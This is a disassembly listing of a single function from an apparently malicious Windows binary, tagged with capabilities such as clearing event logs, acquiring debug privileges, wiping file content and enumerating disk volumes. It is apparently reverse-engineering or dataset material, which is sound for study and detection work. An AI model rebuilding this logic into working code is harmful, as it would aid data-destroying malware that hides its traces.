Function at 0x140002cd0
Capabilities:
Acquire debug privileges
Clear file content
Clear windows event logs
Create directory
Create thread
Delete directory
Enumerate disk volumes
Enumerate process modules
Get disk information
Get disk size
Get file size
Read file on windows
Terminate process
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x3af8
call fcn.14009cd54
sub rsp, rax
movdqa xmmword [rsp + 0x3ae0], xmm15
movdqa xmmword [rsp + 0x3ad0], xmm14
movdqa xmmword [rsp + 0x3ac0], xmm13
movdqa xmmword [rsp + 0x3ab0], xmm12
movdqa xmmword [rsp + 0x3aa0], xmm11
movdqa xmmword [rsp + 0x3a90], xmm10
movdqa xmmword [rsp + 0x3a80], xmm9
movdqa xmmword [rsp + 0x3a70], xmm8
movdqa xmmword [rsp + 0x3a60], xmm7
movdqa xmmword [rsp + 0x3a50], xmm6
lea rcx, [0x1402da2e0]
mov edx, 0x1f4
call fcn.1400131b0
lea rcx, [0x1402da310]
mov edx, 0x1f4
call fcn.1400131b0
lea rcx, [0x1402da328]
mov edx, 0x1f4
call fcn.1400131b0
lea rcx, [0x1402da480]
mov edx, 0x1f4
call fcn.1400132e0
lea rcx, [0x1402da340]
mov edx, 0x1f4
call fcn.1400134c0
lea rcx, [0x1402da358]
mov edx, 0x1f4
call fcn.1400134c0
lea rcx, [0x1402da370]
mov edx, 0x1f4
call fcn.1400134c0
mov rcx, qword [0x1402da520]
mov rax, qword [0x1402da510]
sub rcx, rax
cmp rcx, 0xf9f
ja 0x140002e8c
mov rdi, qword [0x1402da518]
sub rdi, rax
mov ecx, 0xfa0
call fcn.1400731c0
mov r10, rdi
and r10, 0xfffffffffffffff8
lea rdx, [rax + r10]
lea r8, [rax + 0xfa0]
mov rcx, qword [0x1402da518]
mov r9, qword [0x1402da510]
mov r11, rcx
sub r11, r9
je 0x140002e6a
add r11, 0xfffffffffffffff8
cmp r11, 0x98
jb 0x140002e3c
add r10, rax
mov rsi, rcx
sub rsi, r10
cmp rsi, 0x20
jae 0x140006678
mov r10, rdx
mov rsi, rcx
nop word cs:[rax + rax]
mov rax, qword [rsi - 8]
add rsi, 0xfffffffffffffff8
mov qword [r10 - 8], rax
add r10, 0xfffffffffffffff8
cmp rsi, r9
jne 0x140002e50
mov rcx, r9
jmp 0x140002e6d
mov r10, rdx
mov qword [0x1402da510], r10
mov qword [0x1402da518], rdx
mov qword [0x1402da520], r8
test rcx, rcx
je 0x140002e8c
call fcn.140073240
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x37f0], xmm0
mov qword [rsp + 0x3800], 0
movdqa xmmword [rsp + 0x35e0], xmm0
mov qword [rsp + 0x35f0], 0
movdqa xmmword [rsp + 0x530], xmm0
mov qword [rsp + 0x540], 0
movdqa xmmword [rsp + 0x240], xmm0
mov qword [rsp + 0x250], 0
movdqa xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], 0
movdqa xmmword [rsp + 0x740], xmm0
mov qword [rsp + 0x750], 0
movabs rax, 0xea736011b5613fdd
mov qword [rsp + 0xed0], rax
mov dword [rsp + 0xed8], 0xbbcb6a71
lea rcx, [rsp + 0x240]
lea rdx, [rsp + 0xed0]
mov r8d, 0xc
call fcn.140074b90
movups xmm0, xmmword [0x14025ae9e]
movaps xmmword [rsp + 0xee0], xmm0
movdqu xmm0, xmmword [0x14025ae8e]
movdqa xmmword [rsp + 0xed0], xmm0
lea rcx, [rsp + 0x530]
lea rdx, [rsp + 0xed0]
mov r8d, 0x20
call fcn.140074b90
lea rdx, [0x14025aeae]
lea rsi, [rsp + 0xed0]
mov r8d, 0x1b9
mov rcx, rsi
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x110]
mov r8d, 0x1b9
mov rdx, rsi
call fcn.140074b90
movups xmm0, xmmword [0x14025b087]
movaps xmmword [rsp + 0xef0], xmm0
movups xmm0, xmmword [0x14025b077]
movaps xmmword [rsp + 0xee0], xmm0
movdqu xmm0, xmmword [0x14025b067]
movdqa xmmword [rsp + 0xed0], xmm0
lea rcx, [rsp + 0x740]
lea rdx, [rsp + 0xed0]
mov r8d, 0x30
call fcn.140074b90
lea rdx, [0x14025b097]
lea rsi, [rsp + 0xed0]
mov r8d, 0x7c5
mov rcx, rsi
call sub.msvcrt.dll_memcpy
lea rcx, [rsp + 0x37f0]
mov r8d, 0x7c5
mov rdx, rsi
call fcn.140074b90
movups xmm0, xmmword [0x14025b8a8]
movups xmmword [rsp + 0xf1c], xmm0
movups xmm0, xmmword [0x14025b89c]
movaps xmmword [rsp + 0xf10], xmm0
movups xmm0, xmmword [0x14025b88c]
movaps xmmword [rsp + 0xf00], xmm0
movups xmm0, xmmword [0x14025b87c]
movaps xmmword [rsp + 0xef0], xmm0
movups xmm0, xmmword [0x14025b86c]
movaps xmmword [rsp + 0xee0], xmm0
movdqu xmm0, xmmword [str.EE_2A_8E_05_51_87_7E_9C_87_V6_0C_CT_C9_V5_82_7A_F7_E7_4V_5V_71_91_FY_84_C7_50_0Y_TA_F6_VV_46DeFaUlTID]
movdqa xmmword [rsp + 0xed0], xmm0
lea rcx, [rsp + 0x35e0]
lea rdx, [rsp + 0xed0]
mov r8d, 0x5c
call fcn.140074b90
mov word [0x1402da4c0], 0x13c
test byte [rsp + 0x740], 1
jne 0x140004141
test byte [rsp + 0x110], 1
jne 0x14000415c
test byte [rsp + 0x240], 1
jne 0x140004177
test byte [rsp + 0x530], 1
jne 0x140004192
test byte [rsp + 0x35e0], 1
jne 0x1400041ad
test byte [rsp + 0x37f0], 1
je 0x14000310e
mov rcx, qword [rsp + 0x3800]
call fcn.140073240
lea rcx, [rsp + 0x740]
call fcn.14005c770
mov ecx, 3
call fcn.14006c220
call qword [sym.imp.KERNEL32.DLL_GetLogicalDrives]
mov esi, eax
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x310], xmm0
mov qword [rsp + 0x320], 0
lea rcx, [rsp + 0x37f0]
mov edx, 0x12c
call qword [sym.imp.KERNEL32.DLL_FindFirstVolumeW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400032a7
mov eax, 1
lea rbx, [rsp + 0x37f0]
mov rbp, qword [sym.imp.KERNEL32.DLL_FindNextVolumeW]
lea r15, [rsp + 0xed0]
jmp 0x1400031c3
mov rcx, qword [rsp + 0xee0]
mov qword [rax + 0x10], rcx
movdqu xmm0, xmmword [rsp + 0xed0]
movdqu xmmword [rax], xmm0
add rax, 0x18
mov qword [rsp + 0x318], rax
mov rcx, rdi
mov rdx, rbx
mov r8d, 0x12c
call rbp
test eax, eax
je 0x1400032a7
mov rcx, rbx
call sub.msvcrt.dll_wcslen
mov r14, rax
movabs rax, 0x7fffffffffffffef
cmp r14, rax
ja 0x14000a860
cmp r14, 0xa
ja 0x140003210
lea eax, [r14 + r14]
mov byte [rsp + 0xed0], al
lea r13, [rsp + 0xed2]
jmp 0x140003248
mov r12, r14
or r12, 7
inc r12
js 0x14000a887
lea rcx, [r12 + r12]
call fcn.1400731c0
mov r13, rax
mov qword [rsp + 0xee0], rax
or r12, 1
mov qword [rsp + 0xed0], r12
mov qword [rsp + 0xed8], r14
mov r8, r14
add r8, r14
mov rcx, r13
mov rdx, rbx
call sub.msvcrt.dll_memcpy
mov word [r13 + r14*2], 0
mov rax, qword [rsp + 0x318]
cmp rax, qword [rsp + 0x320]
jb 0x140003190
lea rcx, [rsp + 0x310]
mov rdx, r15
call fcn.140035a30
test byte [rsp + 0xed0], 1
je 0x1400031b5
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
jmp 0x1400031b5
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_FindVolumeClose]
xor r15d, r15d
lea rdi, [0x14025966c]
lea rbx, [rsp + 0x35e0]
pxor xmm6, xmm6
lea r14, [rsp + 0x37f0]
mov r13, qword [sym.imp.KERNEL32.DLL_GetVolumeNameForVolumeMountPointW]
jmp 0x1400032ed
mov qword [rsp + 0x318], rbp
nop
inc r15d
cmp r15d, 0x1c
je 0x1400034a1
bt esi, r15d
jae 0x1400032e0
mov word [rsp + 0x37f0], 0
mov byte [rsp + 0x35e0], 2
lea eax, [r15 + 0x61]
movsx eax, al
mov word [rsp + 0x35e2], ax
mov word [rsp + 0x35e4], 0
mov rcx, rbx
mov rdx, rdi
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0xed0], 1
lea rcx, [rsp + 0xed2]
je 0x140003368
mov rcx, qword [rsp + 0xee0]
mov rdx, r14
mov r8d, 0x12c
call r13
test byte [rsp + 0xed0], 1
je 0x14000338b
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0x35e0], 1
je 0x1400033a2
mov rcx, qword [rsp + 0x35f0]
call fcn.140073240
mov rax, qword [rsp + 0x310]
cmp rax, qword [rsp + 0x318]
je 0x1400032e0
mov rbp, rax
nop dword [rax + rax]
lea r12, [rax + 2]
test byte [rax], 1
mov rdx, r12
je 0x1400033d0
mov rdx, qword [rax + 0x10]
mov rcx, r14
call sub.msvcrt.dll_wcscmp
test eax, eax
je 0x1400033f6
add rbp, 0x18
add r12, 0x16
mov rax, r12
cmp r12, qword [rsp + 0x318]
jne 0x1400033c0
jmp 0x1400032e0
mov rax, rbp
add rax, 0x18
mov r12, qword [rsp + 0x318]
cmp rax, r12
jne 0x14000344c
cmp rax, rbp
jne 0x14000348c
jmp 0x1400032d7
lea rcx, [rbp + 0x18]
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x10], rax
movdqu xmm0, xmmword [rbp + 0x18]
movdqu xmmword [rbp], xmm0
mov byte [rbp + 0x18], 0
mov word [rbp + 0x1a], 0
add rbp, 0x30
cmp rbp, r12
mov rbp, rcx
je 0x14000345d
test byte [rbp], 1
je 0x140003420
mov rcx, qword [rbp + 0x10]
call fcn.140073240
jmp 0x140003420
mov rax, qword [rsp + 0x318]
mov rbp, rcx
cmp rax, rbp
jne 0x14000348c
jmp 0x1400032d7
mov rax, r12
cmp r12, rbp
je 0x1400032d7
lea r12, [rax - 0x18]
test byte [rax - 0x18], 1
je 0x140003480
mov rcx, qword [rax - 8]
call fcn.140073240
jmp 0x140003480
xor r15d, r15d
lea rdi, str.:__
lea rbx, [rsp + 0xed0]
pxor xmm6, xmm6
jmp 0x1400034cd
inc r15d
cmp r15d, 0x1c
je 0x140003598
bt esi, r15d
jae 0x1400034c0
mov byte [rsp + 0xed0], 2
lea eax, [r15 + 0x61]
lea rcx, [rsp + 0xed1]
mov byte [rcx], al
mov byte [rsp + 0xed2], 0
mov rcx, rbx
mov rdx, rdi
call fcn.140075640
movzx ebp, byte [rax]
mov rcx, qword [rax + 8]
mov qword [rsp + 0x35e7], rcx
mov rcx, qword [rax + 1]
mov qword [rsp + 0x35e0], rcx
mov r14, qword [rax + 0x10]
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov ecx, 0x28
call fcn.1400731c0
mov byte [rax + 0x10], bpl
mov rcx, qword [rsp + 0x35e0]
mov rdx, qword [rsp + 0x35e7]
mov qword [rax + 0x11], rcx
mov qword [rax + 0x18], rdx
mov qword [rax + 0x20], r14
lea rcx, [0x1402d72d8]
mov qword [rax + 8], rcx
mov rcx, qword [0x1402d72d8]
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov qword [0x1402d72d8], rax
inc qword [0x1402d72e8]
test byte [rsp + 0xed0], 1
je 0x1400034c0
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
jmp 0x1400034c0
lea rcx, [rsp + 0x35e0]
mov edx, 0x104
call qword [sym.imp.KERNEL32.DLL_GetSystemWindowsDirectoryW]
movzx ecx, word [rsp + 0x35e0]
call sub.msvcrt.dll_towlower
mov word [rsp + 0x46a], ax
movzx ecx, word [rsp + 0x35e2]
call sub.msvcrt.dll_towlower
movabs rcx, 0x5c003f005c005c
mov word [rsp + 0x46c], ax
mov word [rsp + 0x46e], 0
mov byte [rsp + 0xed0], 8
mov qword [rsp + 0xed2], rcx
mov word [rsp + 0xeda], 0
lea rcx, [rsp + 0xed0]
lea rdx, [rsp + 0x46a]
call fcn.140076360
movzx ebx, byte [rax]
movzx esi, byte [rax + 1]
movzx edi, word [rax + 2]
mov ecx, dword [rax + 0xc]
mov dword [rsp + 0x538], ecx
mov rcx, qword [rax + 4]
mov qword [rsp + 0x530], rcx
mov r14, qword [rax + 0x10]
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [0x1402da388], 1
je 0x140003662
mov rcx, qword [0x1402da398]
call fcn.140073240
mov byte [0x1402da388], bl
mov byte [0x1402da389], sil
mov word [0x1402da38a], di
mov rax, qword [rsp + 0x530]
mov qword [0x1402da38c], rax
mov eax, dword [rsp + 0x538]
mov dword [0x1402da394], eax
mov qword [0x1402da398], r14
test byte [rsp + 0xed0], 1
je 0x1400036b0
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
pxor xmm6, xmm6
movdqa xmmword [rsp + 0x4b0], xmm6
mov qword [rsp + 0x4c0], 0
lea rax, [rsp + 0x1b0]
movdqu xmmword [rsp + 0x1b0], xmm6
mov qword [rsp + 0x1a8], rax
mov dword [rsp + 0x23c], 0xd67ca1b3
mov dword [rsp + 0x3ec], 0
mov r13, qword [0x1402d72e0]
xor edi, edi
lea rax, [0x1402d72d8]
cmp r13, rax
jne 0x14000373e
xor ecx, ecx
jmp 0x140003f67
mov rsi, qword [r13 + 8]
inc dword [rsp + 0x3ec]
mov r13, rsi
lea rax, [0x1402d72d8]
cmp rsi, rax
je 0x140003f5f
movzx esi, byte [r13 + 0x10]
mov eax, esi
and al, 1
je 0x140003750
mov rsi, qword [r13 + 0x18]
jmp 0x140003753
shr rsi, 1
lea rbx, [rsi + 1]
cmp rbx, 0xfffffffffffffff0
jae 0x14000a853
lea rbp, [r13 + 0x10]
cmp rbx, 0x16
ja 0x140003790
movdqa xmmword [rsp + 0xed0], xmm6
mov qword [rsp + 0xee0], 0
add bl, bl
mov byte [rsp + 0xed0], bl
xor r12d, r12d
jmp 0x1400037ca
mov r15, rbx
or r15, 0xf
inc r15
mov rcx, r15
call fcn.1400731c0
mov r12, rax
or r15, 1
mov qword [rsp + 0xed0], r15
mov qword [rsp + 0xee0], rax
mov qword [rsp + 0xed8], rbx
movzx eax, byte [rbp]
and al, 1
mov ebx, r15d
test bl, 1
lea rcx, [rsp + 0xed1]
cmove r12, rcx
lea rbx, [r13 + 0x11]
mov rdx, rbx
test al, al
je 0x1400037e8
mov rdx, qword [r13 + 0x20]
mov rcx, r12
mov r8, rsi
call sub.msvcrt.dll_memmove
mov word [r12 + rsi], 0x5c
test byte [rsp + 0xed0], 1
lea rcx, [rsp + 0xed1]
je 0x140003814
mov rcx, qword [rsp + 0xee0]
call qword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
mov esi, eax
test byte [rsp + 0xed0], 1
je 0x140003833
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
cmp esi, 4
jne 0x1400039b0
mov rcx, qword [rsp + 0x1b0]
lea rsi, [rsp + 0x1b0]
mov r14, rsi
test rcx, rcx
je 0x140003888
mov eax, dword [rsp + 0x23c]
jmp 0x14000386b
mov rcx, qword [rsi]
mov r14, rsi
test rcx, rcx
je 0x140003888
mov rsi, rcx
mov ecx, dword [rcx + 0x20]
cmp eax, ecx
jl 0x140003860
jle 0x140003d8b
mov rcx, qword [rsi + 8]
test rcx, rcx
jne 0x14000386b
lea r14, [rsi + 8]
mov ecx, 0x40
call fcn.1400731c0
mov rbp, rax
mov eax, dword [rsp + 0x23c]
mov dword [rbp + 0x20], eax
movdqu xmmword [rbp + 0x28], xmm6
mov qword [rbp + 0x38], 0
movdqu xmmword [rbp], xmm6
mov qword [rbp + 0x10], rsi
mov qword [r14], rbp
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
mov rdx, rbp
test rax, rax
je 0x1400038d6
mov qword [rsp + 0x1a8], rax
mov rdx, qword [r14]
mov rcx, qword [rsp + 0x1b0]
call fcn.140035cb0
inc qword [rsp + 0x1b8]
test byte [r13 + 0x10], 1
je 0x1400038f6
mov rbx, qword [r13 + 0x20]
mov byte [rsp + 0x530], 4
movsx eax, byte [rbx]
mov word [rsp + 0x532], ax
movsx eax, byte [rbx + 1]
mov word [rsp + 0x534], ax
mov word [rsp + 0x536], 0
lea rcx, [rsp + 0x530]
xor edx, edx
lea r8, [0x140259674]
call fcn.140075dd0
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rbp + 0x30]
cmp rax, qword [rbp + 0x38]
jae 0x140003af0
mov rcx, qword [rsp + 0xee0]
mov qword [rax + 0x10], rcx
movdqa xmm0, xmmword [rsp + 0xed0]
movdqu xmmword [rax], xmm0
movdqa xmmword [rsp + 0xed0], xmm6
mov qword [rsp + 0xee0], 0
add rax, 0x18
mov qword [rbp + 0x30], rax
jmp 0x140003b1b
movzx esi, byte [r13 + 0x10]
mov eax, esi
and al, 1
je 0x1400039d0
mov rsi, qword [r13 + 0x18]
jmp 0x1400039d3
shr rsi, 1
lea r14, [rsi + 1]
cmp r14, 0xfffffffffffffff0
jae 0x14000a87a
cmp r14, 0x16
ja 0x140003a10
movdqa xmmword [rsp + 0xed0], xmm6
mov qword [rsp + 0xee0], 0
add r14b, r14b
mov byte [rsp + 0xed0], r14b
xor r12d, r12d
jmp 0x140003a4a
mov r15, r14
or r15, 0xf
inc r15
mov rcx, r15
call fcn.1400731c0
mov r12, rax
or r15, 1
mov qword [rsp + 0xed0], r15
mov qword [rsp + 0xee0], rax
mov qword [rsp + 0xed8], r14
movzx eax, byte [rbp]
and al, 1
mov r14d, r15d
test r14b, 1
lea rcx, [rsp + 0xed1]
cmove r12, rcx
mov rdx, rbx
test al, al
je 0x140003a65
mov rdx, qword [r13 + 0x20]
mov rcx, r12
mov r8, rsi
call sub.msvcrt.dll_memmove
mov word [r12 + rsi], 0x5c
test byte [rsp + 0xed0], 1
lea rcx, [rsp + 0xed1]
je 0x140003a91
mov rcx, qword [rsp + 0xee0]
call qword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
mov esi, eax
test byte [rsp + 0xed0], 1
je 0x140003ab0
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
cmp esi, 5
jne 0x140003b40
mov rax, qword [r13]
mov rsi, qword [r13 + 8]
mov qword [rax + 8], rsi
mov rcx, qword [r13 + 8]
mov qword [rcx], rax
dec qword [0x1402d72e8]
test byte [r13 + 0x10], 1
je 0x140003ae3
mov rcx, qword [r13 + 0x20]
call fcn.140073240
mov rcx, r13
jmp 0x140003ef7
add rbp, 0x28
mov rcx, rbp
lea rdx, [rsp + 0xed0]
call fcn.140035a30
test byte [rsp + 0xed0], 1
je 0x140003b1b
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0x530], 1
je 0x140003720
mov rcx, qword [rsp + 0x540]
call fcn.140073240
jmp 0x140003720
lea rcx, [rsp + 0x530]
lea rdx, str.._
mov r8, rbp
call fcn.140076490
test byte [rsp + 0x530], 1
lea rcx, [rsp + 0x531]
je 0x140003b71
mov rcx, qword [rsp + 0x540]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 0x80
mov r8d, 3
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140003d9e
mov rax, qword [0x140261198]
mov rax, qword [rax]
mov dword [rsp + 0x20], 4
mov rcx, rsi
lea rdx, [rsp + 0x2d0]
lea r8, [rsp + 0x70]
mov r9d, 8
call rax
test eax, eax
jne 0x140003be4
test byte [rsp + 0x74], 4
jne 0x140003f01
mov dword [rsp + 0x90], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xed0]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0x20
mov rcx, rsi
mov edx, 0x560000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_DeviceIoControl]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, dword [rsp + 0xed8]
mov rax, qword [rsp + 0x1b0]
lea r15, [rsp + 0x1b0]
jmp 0x140003c53
mov rax, qword [r15]
mov r14, r15
test rax, rax
je 0x140003c78
mov r15, rax
mov eax, dword [rax + 0x20]
cmp esi, eax
jl 0x140003c50
jle 0x140003f4c
mov rax, qword [r15 + 8]
test rax, rax
jne 0x140003c5b
lea r14, [r15 + 8]
mov ecx, 0x40
call fcn.1400731c0
mov rbp, rax
mov dword [rax + 0x20], esi
movdqu xmmword [rax + 0x28], xmm6
mov qword [rax + 0x38], 0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], r15
mov qword [r14], rax
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
mov rdx, rbp
test rax, rax
je 0x140003cbe
mov qword [rsp + 0x1a8], rax
mov rdx, qword [r14]
mov rcx, qword [rsp + 0x1b0]
call fcn.140035cb0
inc qword [rsp + 0x1b8]
test byte [r13 + 0x10], 1
je 0x140003cde
mov rbx, qword [r13 + 0x20]
mov byte [rsp + 0x110], 4
movsx eax, byte [rbx]
mov word [rsp + 0x112], ax
movsx eax, byte [rbx + 1]
mov word [rsp + 0x114], ax
mov word [rsp + 0x116], 0
lea rcx, [rsp + 0x110]
xor edx, edx
lea r8, [0x140259674]
call fcn.140075dd0
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x250], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x240], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rbp + 0x30]
cmp rax, qword [rbp + 0x38]
jae 0x140003e5b
mov rcx, qword [rsp + 0x250]
mov qword [rax + 0x10], rcx
movdqa xmm0, xmmword [rsp + 0x240]
movdqu xmmword [rax], xmm0
movdqa xmmword [rsp + 0x240], xmm6
mov qword [rsp + 0x250], 0
add rax, 0x18
mov qword [rbp + 0x30], rax
jmp 0x140003e86
mov rbp, rsi
test byte [r13 + 0x10], 1
jne 0x1400038f2
jmp 0x1400038f6
test byte [r13 + 0x10], 1
je 0x140003da9
mov rbx, qword [r13 + 0x20]
mov byte [rsp + 0x240], 4
movsx eax, byte [rbx]
mov word [rsp + 0x242], ax
movsx eax, byte [rbx + 1]
mov word [rsp + 0x244], ax
mov word [rsp + 0x246], 0
lea rcx, [rsp + 0x240]
xor edx, edx
lea r8, [0x140259674]
call fcn.140075dd0
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xee0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rsp + 0x4b8]
cmp rax, qword [rsp + 0x4c0]
jae 0x140003e9a
mov rcx, qword [rsp + 0xee0]
mov qword [rax + 0x10], rcx
movdqa xmm0, xmmword [rsp + 0xed0]
movdqu xmmword [rax], xmm0
movdqa xmmword [rsp + 0xed0], xmm6
mov qword [rsp + 0xee0], 0
add rax, 0x18
mov qword [rsp + 0x4b8], rax
jmp 0x140003ec6
add rbp, 0x28
mov rcx, rbp
lea rdx, [rsp + 0x240]
call fcn.140035a30
test byte [rsp + 0x240], 1
je 0x140003e86
mov rcx, qword [rsp + 0x250]
call fcn.140073240
test byte [rsp + 0x110], 1
je 0x140003edd
mov rcx, qword [rsp + 0x120]
jmp 0x140003ed8
lea rcx, [rsp + 0x4b0]
lea rdx, [rsp + 0xed0]
call fcn.140035a30
test byte [rsp + 0xed0], 1
je 0x140003ec6
mov rcx, qword [rsp + 0xee0]
call fcn.140073240
test byte [rsp + 0x240], 1
je 0x140003edd
mov rcx, qword [rsp + 0x250]
call fcn.140073240
mov rsi, qword [r13 + 8]
test byte [rsp + 0x530], 1
je 0x14000372b
mov rcx, qword [rsp + 0x540]
call fcn.140073240
jmp 0x14000372b
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rax, qword [r13]
mov rsi, qword [r13 + 8]
mov qword [rax + 8], rsi
mov rcx, qword [r13 + 8]
mov qword [rcx], rax
dec qword [0x1402d72e8]
test byte [r13 + 0x10], 1
je 0x140003f34
mov rcx, qword [r13 + 0x20]
call fcn.140073240
mov rcx, r13
call fcn.140073240
test byte [rsp + 0x530], 1
je 0x14000372b
jmp 0x140003eef
mov rbp, r15
test byte [r13 + 0x10], 1
jne 0x140003cda
jmp 0x140003cde
mov rcx, qword [rsp + 0x1b0]
mov dword [rsp + 0x6c], 0
test rcx, rcx
je 0x140003fe9
mov rax, rcx
jmp 0x140003f8c
add rax, 8
mov rax, qword [rax]
test rax, rax
je 0x140003fe3
mov edx, dword [rax + 0x20]
cmp edi, edx
jl 0x140003f84
jg 0x140003f80
test rcx, rcx
je 0x140003fe9
mov eax, edi
or eax, 1
mov dword [rsp + 0x6c], eax
mov rax, rcx
jmp 0x140003fb8
mov rax, qword [rax]
test rax, rax
je 0x140003fe9
mov edx, dword [rax + 0x20]
cmp dword [rsp + 0x6c], edx
jl 0x140003fb0
cmp edx, edi
jg 0x140003fcb
add rax, 8
jmp 0x140003fb0
add edi, 2
cmp edi, 0x3e8
jne 0x140003f67
mov dword [rsp + 0x6c], 0xffffffff
jmp 0x1400041e2
mov eax, edi
mov dword [rsp + 0x6c], edi
mov rax, qword [rsp + 0x4b8]
cmp rax, qword [rsp + 0x4b0]
je 0x1400041e2
mov eax, dword [rsp + 0x6c]
mov dword [rsp + 0xed0], eax
lea rsi, [rsp + 0xed8]
lea rdx, [rsp + 0x4b0]
mov rcx, rsi
call fcn.14002f410
mov rcx, qword [rsp + 0x1b0]
lea rdi, [rsp + 0x1b0]
mov rbx, rdi
test rcx, rcx
je 0x140004078
mov eax, dword [rsp + 0xed0]
jmp 0x14000405b
mov rcx, qword [rdi]
mov rbx, rdi
test rcx, rcx
je 0x140004078
mov rdi, rcx
mov ecx, dword [rcx + 0x20]
cmp eax, ecx
jl 0x140004050
jle 0x1400040f4
mov rcx, qword [rdi + 8]
test rcx, rcx
jne 0x14000405b
lea rbx, [rdi + 8]
mov ecx, 0x40
call fcn.1400731c0
mov ecx, dword [rsp + 0xed0]
mov dword [rax + 0x20], ecx
movdqu xmm0, xmmword [rsp + 0xed8]
movdqu xmmword [rax + 0x28], xmm0
mov rcx, qword [rsp + 0xee8]
mov qword [rax + 0x38], rcx
pxor xmm0, xmm0
movdqu xmmword [rsi], xmm0
mov qword [rsi + 0x10], 0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov qword [rbx], rax
mov rcx, qword [rsp + 0x1a8]
mov rcx, qword [rcx]
test rcx, rcx
je 0x1400040dc
mov qword [rsp + 0x1a8], rcx
mov rax, qword [rbx]
mov rcx, qword [rsp + 0x1b0]
mov rdx, rax
call fcn.140035cb0
inc qword [rsp + 0x1b8]
mov rsi, qword [rsp + 0xed8]
test rsi, rsi
je 0x1400041e2
mov rax, qword [rsp + 0xee0]
mov rcx, rsi
cmp rax, rsi
jne 0x14000412c
jmp 0x1400041d5
mov rax, rdi
cmp rdi, rsi
je 0x1400041cd
lea rdi, [rax - 0x18]
test byte [rax - 0x18], 1
je 0x140004120
mov rcx, qword [rax - 8]
call fcn.140073240
jmp 0x140004120
mov rcx, qword [rsp + 0x750]
call fcn.140073240
test byte [rsp + 0x110], 1
je 0x1400030cd
mov rcx, qword [rsp + 0x120]
call fcn.140073240
test byte [rsp + 0x240], 1
je 0x1400030db
mov rcx, qword [rsp + 0x250]
call fcn.140073240
test byte [rsp + 0x530], 1
je 0x1400030e9
mov rcx, qword [rsp + 0x540]
call fcn.140073240
test byte [rsp + 0x35e0], 1
je 0x1400030f7
mov rcx, qword [rsp + 0x35f0]
call fcn.140073240
test byte [rsp + 0x37f0], 1
jne 0x140003101
jmp 0x14000310e
mov rcx, qword [rsp + 0xed8]
mov qword [rsp + 0xee0], rsi
call fcn.140073240
mov rsi, qword [rsp + 0x1a8]
lea rax, [rsp + 0x1b0]
cmp rsi, rax
je 0x1400043a0
movzx eax, byte [0x1402da388]
mov rcx, rax
shr rcx, 1
test al, 1
cmovne rcx, qword [0x1402da390]
lea r8, [0x1402da38a]
cmovne r8, qword [0x1402da398]
mov rdi, qword [rsi + 0x28]
mov rbx, qword [rsi + 0x30]
jmp 0x140004234
add rdi, 0x18
cmp rdi, rbx
je 0x1400042a0
movzx eax, byte [rdi]
test al, 1
je 0x140004250
mov rdx, qword [rdi + 8]
cmp rdx, rcx
jne 0x140004230
jmp 0x14000425b
mov rdx, rax
shr rdx, 1
cmp rdx, rcx
jne 0x140004230
test rcx, rcx
je 0x1400042e5
test al, 1
je 0x140004270
mov rax, qword [rdi + 0x10]
jmp 0x140004274
lea rax, [rdi + 2]
xor edx, edx
nop word cs:[rax + rax]
movzx r9d, word [rax + rdx*2]
cmp r9w, word [r8 + rdx*2]
jne 0x140004230
inc rdx
cmp rcx, rdx
jne 0x140004280
jmp 0x1400042e5
mov rdx, qword [rsi + 8]
test rdx, rdx
je 0x1400042c0
nop dword [rax]
mov rax, rdx
mov rdx, qword [rdx]
test rdx, rdx
jne 0x1400042b0
jmp 0x1400042cc
mov rax, qword [rsi + 0x10]
cmp qword [rax], rsi
mov rsi, rax
jne 0x1400042c0
